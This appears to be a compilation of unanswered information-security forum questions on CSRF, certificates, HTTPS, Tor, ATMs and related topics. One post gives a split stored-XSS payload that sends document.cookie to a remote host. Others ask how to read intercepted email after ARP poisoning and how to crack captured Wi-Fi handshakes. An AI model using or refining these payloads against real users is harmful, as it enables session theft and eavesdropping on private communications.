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1) User is logged in bank.com in one tab, where everything is secured by CSRF tokens. Then he opens evil.com in another tab. 2) Javascript in evil.com might try to make a POST request to bank.com/send_money only if it knew csrf_token. 3) In order to reveal csrf_token, javascript in evil.com might try to do GET ajax call to bank.com/send_money to get the exact same html user would get by visting this page in his browser. And then read the token. QUESTION - why the last step will fail and will it always fail? As far as I understand, bank.com will actually respond to this request and render all the html just fine, but on the client side the browser will decide that content coming from another domain should not be accessible, therefore it fails. If there is an iframe in evil.com to bank.com/send_money, the iframe will load all the html just fine, but again the browser will decide that this html cannot be used by javascript and it can only be viewed in iframe. Therefore JS cannot get the token and cannot make POST request. Is it correct? Can this be fooled?
I came to know the SQL truncation vulnerability that I wasn't aware of. It is my understanding that this vulnerability is based on the fact that MySQL truncates the value of an "insert query" whether the value exceeds the width of the corresponding column. The fist appearance of this vulnerability is in CVE-2008-4106 which reports the problem in the WordPress CMS. The CVE reports that the problem was related to a WordPress implementation. But I would have said that this is a problem related to the MySQL implementation that truncates the input instead of raising an error and blocking the query. So is SQL truncation vulnerability a problem in the DBMS (MySQL) or in the web application that doesn't check the string length? I installed the latest version of MySQL (5.5) in order to make some tests and apparently if the inserted value exceeds the column width, I receive an error: Error: Data too long for column 'name' at row 1 and the query is not performed. This suggests me that MySQL now implements a better check for input length and thus the web application shouldn't be responsible for this check. What am I missing?
This application analyzes web traffic and then beautifully displays attacks on a global map. How does it intercept web traffic so it can analyze it? Isn't web traffic private to everyone except to ISPs and powerful government agency like the NSA? How does it detect and differentiate MYSQL attacks from regular MySQL queries?
I was trying to search for this, but could not find the answer anywhere - apology in advance if already answered. I have a Linux desktop installed on a thumb drive, which I keep in my pocket. This way, if I need to access my bank (from a public computer and otherwise), I boot from it so I don't need to worry about key loggers. The file system is ext2 and not encrypted. I normally leave my Google account (Gmail, etc.) logged in Chrome, so when I use it next time, it goes directly into my Gmail without asking me for password. If my thumb drive gets stolen, I assume it can be inserted into another computer's USB port and the ext2 partition mounted to access the files without needing my Linux password. Question: Assuming I have the latest Chrome installed, would the attacker be able to access my Gmail by copying my cookies (or whatever other way Chrome uses to keep my password between the shutdowns)? Thanks, Mauricio
I have AirPort Extreme network card and when I try to use airmong-ng on kali linux in a virtual machine this does not work. I know I need a usb-network card if I want to make this work but if I boot kali from a cd or usb do I still need this because then I won't be sharing internet with my macbook and it saves 30 bucks.
I'm part of a small office in the middle of nowhere, and we just got absorbed into a large mega corporation. Sometimes we watch porn, at the office, on company computers, using the company Internet. It makes good for a good background distraction. (I know I'm not the only one who does this so don't judge me.) No, there are no filters or blocks in place. (No Websense, etc.) I like this situation and don't want to screw it up by inadvertently getting a virus, spreading throughout the company and forcing them to solve the "problem" by blocking the sites. So my question is: How can I watch porn safely, and not infect corporate data? (Hint: saying, "No, don't surf porn at work" isn't an answer. I'm asking on behalf of colleagues that won't change their ways.) Full disclosure This story above is inspired by a person who approached me during a company acquisition of a branch office. I added humor and nuance to describe their desired ways of working so that I can use this knowledge to protect the truly vulnerable victims of indulgent and destructive behavior. I was the guy who worked at the acquirer.
How much information is released when paying with a debit card? Is it possible for a vendor to grab your name and address from your debit card and send you things in the mail?
I want to display some very sensitive information on a web page and I want to make sure that nobody, except the user in front of the browser, is able to access this information. I'm aware that in general is it not a good idea, but some site manage to do it. For example : LastPass What are the security risk to consider? How would you proceed to implement it securely? Assume that the client computer is not compromised and that it's the client problem to be sure no on else is looking above his shoulder. Now, if you are going to just reply "NO", just don't. It's clearly possible because some site are doing it or are you saying that they are all unsafe? If this is the case, could you please elaborate? And, before anyone flag this question as duplicate, I just asked the same thing here but it didn't receive any good answer and the question was put on hold, maybe because I didn't formulate the question correctly. Also, if anything is not clear in the question, please leave a comment below and I will answer it.
I'm planning to make a simple remote administration tool with the basic features that are available on all other rats in the market. However, I'm really worrying about legal issues after marketing it. Is what I'm doing a legal thing ? If not, how can I make it legal ? Any hints would be highly appreciated.
I'm doing a project about security transactions and i'm wondering if to establish a connection based on https both client and server need to have a ssl implementation installed to preform the handshake protocol. Anyone could help me out here? Cumps.
I'm building an API with both protected and public endpoints, and I'm protecting it with OAuth 2's various flows. I want this API to be open to the world - the main consumer website won't even be on the same origin as the API server. So I'm planning to implement CORS. Many texts warn about malicious third parties "sending requests as the user", but I'm not sure what they mean by that. I assume this is similar to how CSRF works - as in, the requests get sent across with the user's cookies. If this is the case, since my OAuth 2 authentication scheme uses tokens passed around via HTTP header or a GET parameter, wouldn't this not be an issue at all? My service doesn't even touch cookies at all. Any third parties attempting to do a protected operation on behalf of the user wouldn't have access to a valid token (which is stored on local storage or in-memory). Or unless the user explicitly invokes an OAuth 2 flow, gives the third party a valid token, and it uses that (working as intended) - or it's not an operation that requires the user to be authenticated, which would work (also working as intended). Of course, as we all know, when I assume I make an ass out of oh god we're compromised there are kittens everywhere, so I could very well be wrong and there's bigger security gap than just cookies. Thanks!
I access work on my personal mac via a remote desktop connection..I do this on a mac and access it via safari. My question is, can my company then see what I am browsing in Firefox while connected to the remote desktop in safari?
I have a section of my web site that I only want reachable from another portion of my web site. I know that referer spoofing is trivially easy. But, if all requests from an incorrect referrer are met with 303 redirects to an index page, is there any way for the client to determine that the referrer is the criteria on which they are being denied, or even that there is anything for them to be denied from? In other words, could this be sufficient protection from bots or individuals without a specific target in mind? I realize this qualifies as security through obscurity, but in this case I'm not expecting targeted attacks, and I don't see how you would discover it from outside. If it makes any difference, the redirect is being sent by nginx.
I am a college student and I am getting free wifi for using the "Hostel campus" facility. To access the Internet, I have to put a proxy IP address to my browser. I have heard that they can see all the sites I visit, so if I want to visit a porn site, it could definitely get me into trouble. I tried using VPN, but it won't get installed. I would like to know if browsing with Tor would protect me from the administrator checking my browsing logs?
I know that you can easily trigger a series of POST/GET to a target website using an iframe as I have done it in the past to manipulate session variable on my sites. My question is more about : what information could I get from another website that I load into an iframe? If I'm right, the same origin policy is supposed to block me from reading the iframe content if the page I load into the iframe is not from the same domain as the page containing the iframe. Is there any ways to do bypass that? If there are information that I absolutely need to read on the page, like unique form submission token, how would you mount the attack?
Some CSRF protection mechanisms are vulnerable to attackers who can write cookies. Others are not but incur extra complexity or computational cost. Help me understand the cost/benefit. What conditions enable attackers to write cookies for a domain?
I do have a big CA bundle certificate file and each time if i get request to add new certificate to the existing bundle i need to make sure it is not present already. How i can validate the duplicates. The alignment of the certificate within the bundle seems to be different. Example: Cert 1 MIIF7DCCBNSgAwIBAgIQbsx6pacDIAm4zrz06VLUkTANBgkqhkiG9w0BAQUFADCByjELMAkGA1UE BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO Cert 2 MIIF7DCCBNSgAwIBAgIQbsx6pacDIAm4zrz06VLUkTANBgkqhkiG9w0BAQUFADCB yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL These are duplicates and since they are aligned differently i could not do an extract and compare. Your suggestions and inputs are most welcome.
I'm attempting to check for malware, spam and any kind of injection/exploitation on a sql dump that has been provided and was wondering what kind of tools are there already in place to help with this? Edit: As suggested by an admin I should expand this question out to include the scenario I'm facing. Well it basically comes down to a customer sends me a sql dump of their database to import and before proceeding I wish to be able to verify that there is no SQLi or user injection in the SQL and not datasets. Update: Sometimes I wonder about areas of the InfoSec community's decision not to take things like this serious. However that stated, I did locate some resources that come close but not enough: http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html Are there any tools for scanning for SQL injection vulnerabilities while logged in? Since none of these work for this goal I will be authoring and releasing the code to the public on my github page. I'll post further details here and at http://dwightaspencer.com/ once I have a public beta ready.
It wouldn't be far-fetched to guesstimate that at least 50% of the web traffic can be intercepted in 2014. However, a guesstimate of active interception attacks is likely an order of magnitude lower — probably well below 0,5%, and, apparently, a lot of it is done by the governments, which could potentially have control of certificate authorities anyways, so the value of having a trusted CA chain is questionable. Since most traffic is intercepted merely passively, meaning that encryption without authentication will let you get away from survaillance and preserve your right to privacy in 99,9% of these cases, why the browser vendors and the https industry effectively still promotes no http encryption over the self-signed https certificates for web enthusiasts like myself? My emails on a dozen of self-hosted domains is encrypted for free (SMTP STARTTLS), without needing to install any new certs every X months, and without people who email me ever getting any warnings. (Effectively using ssh likewise doesn't require me to remit any payments to anyone.) Why my non-commercial web-sites and web-properties cannot do the same?
N players are playing a perfect information game (the kind of game where everyone knows moves of everyone) by making moves by turn (P1, P2, ..., Pn, P1, ..., Pn, ... till the game will finish). Game has specific rules for every player (if a player makes a move against the rules - he loses automatically) and can finish only if one of the players win. I am trying to figure out whether it is possible to implement a secure game without having a reliable arbiter (who can be trusted). By secure I mean that none of players would be able to cheat and be unnoticed. Here are some of my thoughts about it: If none of the players cheat, than nothing should be done: players just make move and in the end the winner is announced. But if players can cheat, each next player can verify that the previous player has not cheated (it is perfect information and the rules are known) and if previous player cheated - he will lose right after this. If players can start to cooperate with each other (player 1 cheated and player 2 decided to cooperate) every player can verify all previous moves and players who cheated or cooperated will lose. But here is a problem. Nothing prevents a next player to tell that previous player cheated even if he is not. Of course next players can check for this, but if only 2 player are in the game it will not work. On the other hand it is possible to have a trusted arbiter who verifies every move. Player 1 makes a move - gives it to arbiter. It verifies it and transmits it to other players. And so on. So is there a way to make a secure game without the arbiter? P.S. if this sounds too abstract, think about this as a chess game. 2 players, perfect information, rules are rules of chess how to move, players can cheat by making illegal move I am not really sure that this is a correct place. I hesitated between mathematics, security and cryptography. If I am wrong, please move it to another place.
Other than testing different URLs separately, is there anyway to find out if a website has a wildcard sub domain?
I'm a Software Engineer, but I have no experience in security, so i'm trying to learn by doing (woot Experiential learning!). I know that the permission settings on the tmp folder are very relaxed. If I have an IP address of a server/computer can i ssh into the tmp folder without requiring the password of the server/computer? Are there any good resources people could recommend? Everyone has told me to check out the most popular book on penetration testing, etc; (which I'm open to) but I'm looking into other areas as well!
I recently uploaded images of my passport and driver's license to a Certificate Authority (CA) to apply for SSL certificates. The submission was rejected because I have added watermarks to prevent data theft. I explained to the Cert Master that the watermarks do not block any important details on my passport and driver's license and they are meant to prevent misuse in case the data was stolen. The reply I was given is that this is standard audit requirement by all CAs. If this is so, how do we prevent others from posing as us using those documents if they somehow managed to obtain them?
Reading up on attacks against AES i have seen countless examples of why ECB is bad, and the logic behind it i can understand, but i can't get my head around how these attacks actually work in the real world. So the big example that i see getting used a lot is a session token that is encrypted with AES-ECB, and as its a session token (cookie for example) we can repeatedly inject chosen plaintext and monitor the changes in ciphertext, assuming the session token is always encrypted under the same key. But how from that do we infer the correct plaintext? For example, say i inject 64 A's as my username, and in the hex dump of the cookie that gets returned i can see the tell-tale repeating 16 byte blocks that indicate pretty conclusively the encryption is AES-ECB. I can change the last 16 A's to instead be 15 A's a B, so i know now not only what the ciphertext for 16 A's looks like, but also what the ciphertext for all A's and a B looks like. But after that i get stuck and i can't see how this attack expands out to become practical. So far all i can see is we know what the last byte looks like, and a bunch of A's. Good explanations i've seen so far have been: https://vimeo.com/41116595 although he loses me around the 42 minute mark, and http://www.slideshare.net/ceng/cryptography-for-penetration-testers-pdf-version-presentation EDIT: After thinking about the problem, i think a better way of phrasing this question would be - assuming the block we control is an arbitrary length into the ciphertext, and the total ciphertext is an arbitary length, how do you calculate the length of the prefix (the number of A's) to inject so you can decipher each successive byte? EDIT: The above edit which forms an addition to the question, "how do we calculate the length of the prefix" is actually inaccurate. I've found its trivial to calculate the prefix length of the ciphertext that we do not control, and the ECB attack as i have seen it explained is designed to decipher text the comes explicitly after the ciphertext of the the chosen plaintext.
I have REST api that is using access token which is sent either in header or as url query. I don't use cookies at all. Am I still vulnerable to CSRF attacks? I know that I would if I would use cookies since other tab can send request and cookies will be sent as well but in my case Headers/UrlParam won't be sent at all.
Quoting Wikipedia: A password with, say, 42 bits of strength calculated in this way would be as strong as a string of 42 bits chosen randomly[.] Assuming that interpretation is correct, combined with knowledge that cracking a random 256-bit number is infinitely expensive nay physically impossible, how can a passphrase with 256-bits of entropy practically be constructed & memorized?
Suppose we have 2 webapps, appA and appB. They communicate via REST. Say for example, when appA updates let's say, a file, it should inform appB via REST and so on. I was thinking, how do I make this secure? I mean, what if an ordinary user got the api url and started sending requests? I was looking around the internet and I found out I could secure this through tokens, but how do tokens make it secure? I mean, what if the user got hold of the token and the api url? Wouldn't that be game over?
I have an Actiontec V1000H router/modem. I have been having virus issues recently so I done a factory reset on all but 1 of the computers on the network. I went to add in a Port Forwarding exception so my son can run a Minecraft server, and the port forwarding rules list had about 50 entries on there. I know in the past when I went in there, there were no rules, but all of a sudden there are something like 50. So I did a factory reset on the router. Within 1 hour, new rules were already added, and less than 24 hrs later there is at least 50 open ports (or ranges of ports). Should this be happening? It seems every device on the network is adding rules to the list. Is this because the virus I had is still coming from the one system that wasn't wiped? It's really wierd though because even my son's IPOD, and my wifes Android phone have added open ports. Should I be concerned? Is there anything you can suggest that would stop this? Please advise. Thanks.
<a href='mailto:</a><script>/*'></a><script>/*</a>: <br> <hr> <a href='mailto:*/location.href=/*'>*/location.href=/*</a>: <br> <hr> <a href='mailto:*/"http://127.0.0.1/"/*'>*/"http://127.0.0.1/"/*</a>: <br> <hr> <a href='mailto:*/+document.cookie;/*'>*/+document.cookie;/*</a>: <br> <hr> <a href='mailto:*/</script><a>'>*/</script><a></a> I'm injecting into a guestbook setup where the XSS is injected by changing the email address. The email max length is short enough where I have to spread across multiple posts. When testing, I'm able to execute alert(1); but when I have to spread a more complicated expression over multiple lines, things break. What am I missing?
As per an honourable mention in an answer for « Why self-signed https is less trustworthy than unencrypted http? », it appears that there are already two post-Snowden drafts that have to do with the exact topic of opportunistic encryption of http traffic: Opportunistic Encryption for HTTP URIs https://datatracker.ietf.org/doc/html/draft-nottingham-http2-encryption-03 Minimal Unauthenticated Encryption (MUE) for HTTP/2 https://datatracker.ietf.org/doc/html/draft-hoffman-httpbis-minimal-unauth-enc-01 They are a bit tense on the details; also, being reference documents, they obviously don't talk about implementation details and product support. But I'm really excited that someone's finally working on making opportunistic encryption of HTTP possible just like we have had STARTTLS in SMTP for years. Is any of this implemented yet? I'd really like to enable all of it for all of my non-profit web-sites, any way to be an early adopter?
I am trying to generate a certificate through OpenSSL which has the following line X509v3 Certificate Policies: Policy: X509v3 Any Policy But I end up getting X509v3 Certificate Policies: Policy: itu-t What change do I need in my openssl.cnf to get "X509v3 Any Policy"? I don't see any itu-t reference in my cnf file - so I don't know where that is coming from?
If you look at this subCA Certificate from Verisign http://www.tbs-certificats.com/FAQ/en/495.html?p=en/495.html It has the following field 1.3.6.1.5.5.7.1.12: 0_.].[0Y0W0U..image/gif0!0.0...+..............k...j.H.,{..0%.#http://logo.verisign.com/vslogo.gif How can I create a cert using openssl commandline which has this extension?
When I run the openssl command openssl x509 -noout -text -in certname on different certs, on some I get a serial number which looks like this. Serial Number: 256 (0x100) On others, I get one which looks like this Serial Number: 41:d7:4b:97:ae:4f:3e:d2:5b:85:06:99:51:a7:b0:62 The certificates I create using openssl command line always look like the first one. What do I need to do to create a cert using openssl command line where the serial number looks like the second?
First of all, I should mention that I read this thread and it was useful in my case, but I need more comments and reviews about this authentication method.USB Token authentication which I want to talk is : 1- User logon to server with username and password 2- server requests for some USB credentials like serial number, expiration date, etc 3- User fills the requested parameters and send them to server 4- Server generates an login token and signs it with its private key 5- User downloads the token and save it in encrypted USB Flash memory. Now every time that user wants to login to server, server asks for username, password and token. User uploads the token from his USB to the server. Server verifies the signature with its public key and if it is verified, the user can log in. From security point I know that the USB flash memory is not as secure as PKI smart tokens. Because the token is exportable and it has no TPM standard, however I am wondering what other security issues this mechanism has?
I have a webserver which is asking for client certificate for mutual authentication. I have what I think is the right certificate loaded into my client browser. However, the browser is not able to find the certificate & is giving the error "This page can’t be displayed" when I visit the page from IE (it also fails in chromium and FF). Is there any tool which will help me figure out what exactly is certificate the server is asking my client browser for? I tried through some network monitors - but there is some much data exchanged that I cannot find it.
I just watched an interesting talk from Glen Glenn Wilkinson titled: The Machines that Betrayed their Masters. He said that your phone is constantly broadcasting all the SSIDs it has ever connected to. How would an attacker be able to capture these wifi requests?
My task is to convert .p7b to .pfx. It would be great, if you could provide me some pointers. Below are the steps I used to generate the .p7b file: I generated a .jks (java keystore) file using below command C:\Program Files\Java\jdk1.6.0_33\bin>keytool -genkey -alias serverkey -keyalg RSA -keystore C:\server\production\ssl\Server.jks -keysize 2048 From keystore file I created a CSR using following command keytool -certreq -alias serverkey -file ServerCSR.csr -keystore Server.jks I provided this .CSR file to a local CA certificate authority. They provided me the certificate in .p7b format I have two questions: And how we can convert .p7b file into .pfx format ? Is keystore file (server.jks), my private key file which is being asked to convert on various available links on google?
I've dumped a call between two lync clients and saw that there were some UDP packets that look like this: Server -> Client 1132 14.495362000 <serverip> <clientip> STUN 146 Binding Request user: ????:???? Client -> Server: 1133 14.499136000 <clientip> <serverip> STUN 130 Binding Success Response XOR-MAPPED-ADDRESS: <serverip>:54019 user: ????:???? ????:???? - ? is a character from the alphabet If I read the RFC correctly this is not a security issue, is that correct?
I am watching a training video called "Creating Secure J2EE Code". The video makes this statement: Perform all validation in a secure context on the server. Do not rely on client-side validation as a security mechanism. Validate all application input, including user input, API return values, environment variables, configuration files, and other applications. Validating environment variables and config files is a new concept to me. Can you please provide a high level overview of what this might look like? My thoughts are to treat both Environment Variables and Config files similar to user input. I would: Sanitize it, Test Length (Min & Max), Test Range, Test format Test type (int, decimal, char, etc) I am assuming config files would contain Key/Value pairs. Im not certain how to handle a configuration file that may contain any other format. Am I on the right track?
Windows servers in the DMZ need to communicate with the Active Directory. I do not like that the servers will have direct communication with my Active Directory, so I consider installing a Read-Only Domain Controller that replicate the real one. It seems like there are security benefits with RODC only when it is not physical secure - no passwords are cached, if someone steals it, they still cannot modify the real AD or find the credentials to do so. http://technet.microsoft.com/en-us/library/cc732801(v=ws.10).aspx: Inadequate physical security is the most common reason to consider deploying an RODC. An RODC provides a way to deploy a domain controller more securely in locations that require fast and reliable authentication services but cannot ensure physical security for a writable domain controller. Are there any real benefit with implementing a RODC when it comes to network security?
I really don't know much about HTTPS. But I always hear people saying that it is 100% safe and bullet proof. My question is: Is that true or even possible. I mean there are lots of tools that allow you to read the internet traffic of all other devices that are in the same network as you. So how do certificates and encryption help to make this bullet proof? Wouldn't it always be possible to decrypt the HTTPS packets just like the client does? I mean there must be some kind of key that both parties (Client and Server) must be aware of to be able to en/decrypt data properly, so whoever creates the key has to send it to the other party. Shouldn't a network sniffer be able to pick that up?
We are going through the PCI process at the moment and because v2 goes out of date on December 2014, I opted to use PCI v3. Because with Stripe you put the form inside your application and post to them, does that mean I need to go down PCI SAQ A-EP ? I am a little confused and the only way to be PCI SAQ A is to use an iframe or have my application hosted on a PCI-compliant payment processor.
I'm a little unclear on the subject of opportunistic encryption of the HTTP:// address scheme in HTTP/2. According to the bug report, it looks like it's kinda optional, and an afterthought: https://github.com/http2/http2-spec/issues/315 There's also a FAQ entry: http://http2.github.io/faq/#does-http2-require-encryption Does HTTP/2 require encryption? No. After extensive discussion, the Working Group did not have consensus to require the use of encryption (e.g., TLS) for the new protocol. However, some implementations have stated that they will only support HTTP/2 when it is used over an encrypted connection. However, it's unclear how it relates to opportunistic encryption, where implementation would be [kinda] mandatory, but actual support [somewhat] optional. However, according to IETF "Pervasive Monitoring Is an Attack", Best Current Practice 188, it would seem like opportunistic encryption is supposed to be made mandatory is all protocol designs: https://www.rfc-editor.org/rfc/rfc7258 Is HTTP/2 being designed in violation of BCP 188, RFC 7258?
I'm going to send my timestamp to server and server will check if it is in a given interval. What if My mobile clock is not adjusted (say it gives 2:00 pm while now it is 2:00 am). now I lost the server. How should I handle such a situation.
I'm 20 years old and have no knowledge in the world of information security! I'm currently studying engineering and I've recently found what work I want to do (pentesting or a career in fields like this). So reading various sites and forums, I've decided to start to study the basics of the communication service TCP/IP. 1. Is this the right or the most convenient beginning in this field? I know the basic things of languages like c/c++ and I'm currently studying java. 2. What book I should buy? Reading online I found numerous books about TCP/IP, currently I'm looking to choose this : TCP/IP Illustrated: The Protocols v. 1 but I don't know what is the most appropriate for me. (I noted that most books are "old" (1994) it's that normal? and why?) 3. Am I late to choose a career in this field?
My company recently had a security assessment done on our website and we had a XSS vulnerability reported. Below are the details of the reported vulnerability: If a user hits a URL like the one below: mysite.com/Secure/Account/Addresses.aspx/%32%35 You can find the following when the page is rendered: <script src="/Secure/Account/Addresses.aspx/25?_TSM_HiddenField_=ctl00_ContentPlaceHolder1_ScriptManager1_HiddenField&amp;_TSM_CombinedScripts_=%3b%3bAjaxControlTo.....{goes on for a while}" type = text/javascript"></script> ^ASCII characters here ^truncating actual value for brevity's sake As you can see the ASCII codes are converted to their character values (2 and 5 in this case) and rendered as part of a script tag. If I swap out the %32%35 for different values I get the results below: %32%35%3E which should render as 25< the page throws a 400 error %32%35%22 which should render as 25" it actually renders 25&quot; My question is if this actually an XSS vulnerability? If so, what payload could be passed in to execute an attack?
Here is a recording of Glenn Mulcaire using social engineering to reset the PINs to voice mailboxes to which he did not have authorised access. (At least, that's my understanding.) He appears to say to the operator, "Do you want the DDNs on these, or - you should have them anyway, shouldn't you?" The operator replies, "I'll have that [information] here." My question is: what are the DDNs to which Mulcaire is referring? I.e. which words does the initialism stand for, and what thing is referred to by the name composed of those words? Here is a possibly related question.
Often, users will install additional package repositories to their Linux distributions to be able to follow "bleeding-edge" versions of software that hasn't been/will never be backported to their distribution version. Say that packageA provided by repoA depends on libssl. Originally, no problems found; the only possible vulnerabilities would have to be supplied directly by packageA. However, if the owner of the repository packages libssl and includes it in their own repository (I've seen similar things in the wild), my system libssl will be replaced by their compiled version of OpenSSL. With this said, how difficult is it to do this? Do package managers (e.g. apt, yum) provide any protection against this? For all the user knows, a malicious repository could package a rootkit in a package called libssl which in fact doesn't provide any SSL support whatsoever. If I understand correctly, if this were to happen, the user would receive no indication that this was happening, and their machine would be compromised with a simple apt-get upgrade.
I am wondering what happens when I set HDD password in my laptop (Samsung with ssd). I mean a given case. I have been having working system without any password. Then one day I decide to set up HDD password in BIOS. Does whole disk in that very moment become encrypted ? I did not notice any moment waiting etc... I understand that after having password set all written data would be encrypted, but what happens with existing one. Perhaps I am missing something
I am using my mouse to interact with a Java applet in a browser. Clearly the party that owns the Java applet can record where I click inside the applet. What I'm wondering about now is whether it is possible for that party to also record the movements of my cursor (i.e. the paths I take when I move my cursor around) within the Java Applet. Is this possible? I know that it is possible to track user mouse movements within the browser window using JavaScript.
I've been assigned a web project that deals with shipping goods between two parties. I am unsure what a secure database scheme (if any) would be for storing the recipient's postal address and whether or not there are data privacy laws in regards to how these addresses should be stored? Both the recipient and the sender will require access to the address in the system. Or unlike passwords, would it be okay to leave them as plaintext? Amazon is an established company, and when you log in to your profile, they would show you your address. This implies that Amazon stores them either in plaintext or in a decryptable state.
I have a Apache Cordova hybrid mobile app that needs to authenticate users, but we don't want to prompt for credentials every time the app is used. Some options came to my mind: Store the password encrypted using public key cryptography, so only the server can decrypt it and perform authentication. However, I understand it's a bad practice that in the event that password gets compromised, the entire suite of applications using the SSO would be compromised. Use Client Certificate based authentication... Does it make sense? Are there other choices?
I have seen from: http://www.scientificamerican.com/article/tracking-cyber-hackers/ "The source field can be changed [spoofed] by an attacker to make it seem like it's coming from someplace it's not" From what I know, IP spoofing only allows one-way communication, as server replies the spoofed address, and therefore its attack is limited. Isn't that right?
When someone is sniffing data at a Tor exit node, how much information can be obtained? The IP can be revealed, but can they see everything you do? Does it make a difference if it is encrypted using https, or if it is a hidden service link?
I read these questions which had great information: How can I keep my identity anonymous as a website owner/administrator? and How much can I trust Tor?, however I wonder if this is too extreme for my situation. What I mean by this is I am not in a life or death scenario, however I want to keep my artist name anonymous. Basically, I do not want the fame that comes with the popularity of producing art people like. If I ever do "blow up," I wouldn't want someone to be able to find my identity through social media or my website, it may hurt my chances of staying anonymous. With this said, I want to know just how "lax" you can be when keeping your identity anonymous. Here is my specific question as the last edit was too broad: If I use my artist social media accounts, launch an artist website (which I pay through a prepaid credit/gift card), and only provide my personal name to the website provider (maybe just use my artist name?), and do all this without a live OS (and TOR/VPN), would someone still be able to find out who I am? If so, how easy would it be? That's the basic premise of this question. I don't want to have to use a live OS because, for example, I don't know if this would even work as I would be uploading my work to the internet for my fans/following. Plus I would be using my phone often when connecting with fans which wouldn't have the live OS.
The Certificates that are used to sign Android applications are generated by the user and not checked or signed by any authority. They are RSA or DSA Certificates and as i read on crypt.stackexchange.com it should be nearly impossible to create two identical RSA certificates. But the question still is open: could it be possible that the same certificate get's generated twice? Or is the certificate a good indicator for the developer? (if the certificate was not leaked) In the past there were problems with ssl keys generated by embedded device, right after the start of the device - which lead to the problem that the entropy level was not high enough and the same keys were generated on many different devices. Is it valid to say, that this will not happen for android certificates?
Hackers inserted a specialized device which was connected to the notebook into the card reader slot on the ATM and installed malicious software. 100 thousand US dollars were stolen from at least seven ATM in China. We actively discuss this topic in Russia. http://www.plusworld.ru/daily/ustroystvo-dlya-zarajeniya-bankomatov-vredonosnim-kodom-obnarujeno-v-kitae/ Stanislav Shevchenko, CTO of SafenSoft, company that develops information security solutions for ATMs, says the following. In order to infect the ATM software, you need to have an access to computer. This device cannot allow it. Interacting with card reader doesn’t let the criminal intrude the computer itself and the report doesn’t mention opening up any parts of ATM. Device itself looks strange compared to its function as it was described. No other incidents with usage of it are reported so far. All this makes us think that this information should be approached with caution because it’s either missing key parts of isn’t credible at all. The NCR expert says that their company doesn’t know about this way of infection. So the possibility of the attack is very low. Igor Korolev, Wincor Nixdorf expert, has another opinion. He would doubt this if the information was about ATMs in Russia, but this attack could be real in China. The main task was to transfer files from the card to HDD at the ATM. This task was divided into two subtasks: Where to take files from, and; How to transfer them. For example: Write files to USB drive, and; Use non-disabled autorun service to copy files to HDD. In the Chinese case they decided to write the files to the card but memory needed to be expanded using the laptop because the card didn’t have enough space for Trojan. Next, the question is how to transfer files to the system unit. There are a lot of ways to do it, but the easiest way is to secretly make a backdoor in ATM software. It’s less likely that they exploited vulnerabilities in card reader driver or firmware, but it is definitely possible. What do you think about it? Is it possible?
Background A discussion about not sourcing JavaScript files from other websites (http://www.reddit.com/r/netsec/comments/29hfhz/please_dont_use_externally_hosted_javascript/) got me thinking. Performance and cost reasons are mentioned that might make sense to have some scripts hosted by 3rd parties. Question Is there an existing way to check referenced JavaScript (or maybe even images, other data) has not been changed by malicious actor? From the top of my head, I'd say you might be able to do that with websockets to download the script and then check its hash, insert into HTML. Maybe. I do not recall any built-in solutions, like maybe <script src="https://foo/bar.js" hash="$5$0xf00...$0xbaa..."></script>.
The other day I tried to withdraw some cash from an ATM in a hurry and punched in a wrong pin. I realized that only when I hit the "ok" button, but to my surprise the ATM did not complain. It showed the usual menu, asking me to select an operation. It's only when I selected withdrawal I was prompted that the pin is incorrect, and asked to re-enter. Which I did and received the cash. Why do ATMs allow entering any garbage for a PIN, selecting an operation and only then complain? EDIT: to add more information about some points discussed in answers and comments: the country where this happened is New Zealand. The card is a chip card which also happens to have a magnetic band, and I have no idea if the ATM can read the chip or not.
To successfully defend the BIOS from malicious rootkit installation or other malware that writes itself inside BIOS I wonder if these ideas are possible or even done yet: Can you program the BIOS itself in a way that it only accepts data to be written to the BIOS that has been signed with the BIOS-Manufacture's PGP-Key? Basically the same way like normal userland programs get their updates installed. Is it possible to encrypt the whole BIOS data to prevent attackers from just 'upgrading' your BIOS with their malicious code? In both ways it would be sufficient to protect the BIOS only from write-to-BIOS access. While reading from BIOS doesnt require authorization. Edit: Is there any way to implement this on your own? Like you secure your HHD with Bitlocker or verify a peer with public key cryptography.
I use Cain and Abbel and I want to see the email content. If you help me becouse I don`t know to see the content. I see the email in the section password but I need to see the email content . I can simply with Wireshark? Thank for what you said,I understood and I made ARP Poisoning.So I see at Passwords->HTTP two URLs:www.yahoo.com and one hsrd.yahoo.com after this things what I need to do to see the email content like : Hello..what I wrote in email. I use now Cain and Abel. Thanks.
At the moment I have a strange problem: I captured a pcap-file, and pyrit and aircrack tell me that it contains a valid handshake. But cowpatty complains about not having a full handshake, thus making it unable to crack the pcap file. Why? Is there a solution?
I am currently developing an auction desktop application. At the moment I am storing the buyer and vendor information in 2 separate tables within a MySQL Database. Currently the data for these tables is unencrypted (whilst in development) but I am planning on using PBKDF2 to encrypt these with a salt that will be stored within a .properties file. The MySQL server for this application is stored on the local drive with the application. And no network traffic is needed for this program to work, nor has any been planned for it. There is a high probability that the client will connect the computer hosting this application to the internet through the local LAN/WLAN. Anyway, to my question. The client has just informed me that they also need to store the bank details of the vendors. So if I made another table, where the data is linked through a foreign key to the ID of the vendors, and this table contained all of the bank details, and then hashed this information with a salt that I could store in a .properties file, which is then hashed as well, would this be a secure enough approach? Or would there be a better way to approach this problem (besides steering clear of storing bank details)?
We are planning to implement the time-stamping service (RFC 3161) using OpenTSA and we wanted to know: Does OpenTSA support PKCS #11 (Cryptoki) to talk to HSMs? BTW: I did not find documentation or much information on OpenTSA. It would be really helpful if you could comment on the support of PCKS #11 by OpenTSA.
Why do ATMs accept any PIN? states that the ATM does not know my pin and the pin is not on the card as well. My bank has this system: It works in 5 stages: I enter my debit card number on the website; The website gives me an 8 digit code to enter on the machine; I insert my card into the machine, press the M1 button and enter the 8 digit code; After the code is entered, the machine asks me for my 4 digit pin and and immediately says if it's correct (by stating "PIN OK"); The machine then gives me a 7 digit code to enter on the website, which authenticates me. How can this machine know that my code is valid if the code is not on my card? Note that the M1 and M2 buttons are not memory buttons, but instead buttons that start a certain workflow: M1 is for authentication with the system and M2 is for digitally signing my transactions.
